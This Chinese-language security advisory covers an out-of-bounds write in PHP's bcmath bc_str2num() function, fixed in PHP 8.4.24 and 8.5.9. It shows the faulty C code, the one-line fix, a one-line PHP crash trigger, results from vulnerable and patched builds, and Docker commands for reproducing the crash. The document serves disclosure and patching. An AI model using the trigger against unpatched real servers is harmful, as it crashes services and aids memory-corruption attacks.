CVSS 9.8(严重) · CWE-787 · GHSA-x692-q9x7-8c3f
`bc_str2num()` 位于 `ext/bcmath/libbcmath/src/str2num.c`(内嵌的 libbcmath,PHP 8.4+)中,存在一个 off-by-N 越界写入。当用户提供的 `scale` 小于操作数的自动精度时,小数部分会被截断,随后执行尾随零修剪,但 `fractional_end` 未随之更新。缓冲区按修剪后(更短)的长度分配,但复制操作却使用了未修剪的长度 → 堆/栈缓冲区溢出。
受影响版本: PHP 8.4.* < 8.4.24,8.5.* < 8.5.9 修复版本: PHP 8.4.24 / 8.5.9(2026-07-30),提交 `fa18dab73f93` / `ce2ec8a70755` 报告者: Recep Asan (recepasan)
// ext/bcmath/libbcmath/src/str2num.c — bc_str2num()
str_scale -= fractional_end - fractional_new_end; // fractional_end NOT updated here
...
bc_new_num_nonzeroed(digits, str_scale) // allocates SHORT (trimmed) buffer
bc_copy_and_toggle_bcd(nptr, fractional_ptr, fractional_end) // copies UNTRIMMED length
一行修复(`fractional_end = fractional_new_end;`)以及回归测试 `ext/bcmath/tests/GHSA-x692-q9x7-8c3f.phpt` 已在 8.4.24/8.5.9 中合并。
bccomp("1." . "9" . str_repeat("0", 300) . "1", "0", 300);
| 构建 | 结果 |
|---|---|
| PHP 8.4.23(存在漏洞,Docker `php:8.4.23-cli` + bcmath) | 💥 `* stack smashing detected *`,exit 133 (SIGABRT) |
| PHP 8.5.8(存在漏洞) | 💥 相同 — 确定性中止 |
| PHP 8.4.24(已修复,`php:8.4.24-cli`) | ✅ `int(1)`,exit 0 |
已于 2026-08-12 在 Raspberry Pi 5 (arm64) 上通过 Docker 验证。
# Vulnerable PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.23-cli sh -c \
'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> stack smashing detected (exit 133)
# Patched PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.24-cli sh -c \
'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> int(1), exit 0